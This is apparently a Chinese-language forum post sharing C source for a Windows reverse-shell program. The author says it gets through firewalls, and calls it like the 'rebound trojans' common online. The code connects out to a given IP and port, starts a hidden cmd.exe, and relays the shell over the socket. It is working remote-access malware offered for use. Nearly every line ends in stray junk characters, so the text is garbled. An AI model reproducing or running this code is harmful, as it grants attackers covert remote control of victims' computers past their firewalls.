这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3RY|l?n>
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/* ============================== )^QG-IM
Rebound port in Windows NT Au\=ypK
By wind,2006/7 r' 97\|
===============================*/ 8.
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#include .1l[l5$
#include AmrJ_YP/t~
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#pragma comment(lib,"wsock32.lib") Jf8'N
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void OutputShell(); PdE)m/
SOCKET sClient; >u%[J!Y;;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b_"V%<I
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void main(int argc,char **argv) cmC&s'/8`D
{ kB!M[[t
WSADATA stWsaData; ! a8h
int nRet; ,YzC)(-
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) Y7IlqC`i
{ qoyGs}/I8
printf("Useage:\n\rRebound DestIP DestPort\n"); kk>0XPk
return; 5juCeG+Z
} iJ~iJ'vf
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WSAStartup(MAKEWORD(2,2),&stWsaData); 62KW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l.LFlwt
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stSaiClient.sin_family = AF_INET; ZYp-dlEXq
stSaiClient.sin_port = htons(0); 1Y"y!\t7G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Y)-)NLLG;n
" kJWWR
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %nK15(
{ x[,wJzp\6
printf("Bind Socket Failed!\n"); 6T
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return; fCo2".Tk
} OA5md9P;d
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stSaiServer.sin_family = AF_INET; R^w >aZoJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FWx*&y~$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ik2szXh[J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [/`Hz]R
{ 0}3'h#33=
printf("Connect Error!"); ;$&5I9N
return; -O q=J;
} yeh adm\
OutputShell(); G"R>a w
} ?z36mj"`o
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void OutputShell() ^oZs&+z
{ Bwvc@(3v
char szBuff[1024]; !ES#::;z?
SECURITY_ATTRIBUTES stSecurityAttributes; D&lXi~Z%.
OSVERSIONINFO stOsversionInfo; r}M4()9L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; .0/Z'.c8
char *szShell; PX{~! j%n
PROCESS_INFORMATION stProcessInformation; 17i@GnbNb
unsigned long lBytesRead; "4-Nnm
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &K*_/Q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F476"WF
stSecurityAttributes.lpSecurityDescriptor = 0; y#W8] <dS"
stSecurityAttributes.bInheritHandle = TRUE; g5HqU2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P+l^Ep8P
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v~=ol8J
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mq}
#{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AR2+W^aM3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,;& PKY
stStartupInfo.wShowWindow = SW_HIDE; 30-wTcG
stStartupInfo.hStdInput = hReadPipe; =!Cvu.~},
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $f\-.7OD
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GetVersionEx(&stOsversionInfo); wBGxJ\+M
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switch(stOsversionInfo.dwPlatformId) OH~qJ<
{ aDEP_b;
case 1: {.)D)8`<d
szShell = "command.com"; 2}#PDhn
break; 6u8fF|s
default: L zy|<:K+$
szShell = "cmd.exe"; q+Q)IVaU81
break; Y5pNKL
} 0\;a:E.c
pr?(5{BL
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o%7yhCY
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send(sClient,szMsg,77,0); ?uv%E*TU
while(1) \rO>FE
{ Fb-TCq1y#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MQu6Tm H
if(lBytesRead) lvffQ_t
{ <GEn9;\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^5F/=TtE G
send(sClient,szBuff,lBytesRead,0); aT[7L9Cw
} vZsVxx99
else g(^l>niF:
{ T~Cd=s(T"
lBytesRead=recv(sClient,szBuff,1024,0); 3[4]G@
if(lBytesRead<=0) break; JZ
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 98"N UT
} lVHJ}(<'p
} z7o59&
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return; %}@^[E)
}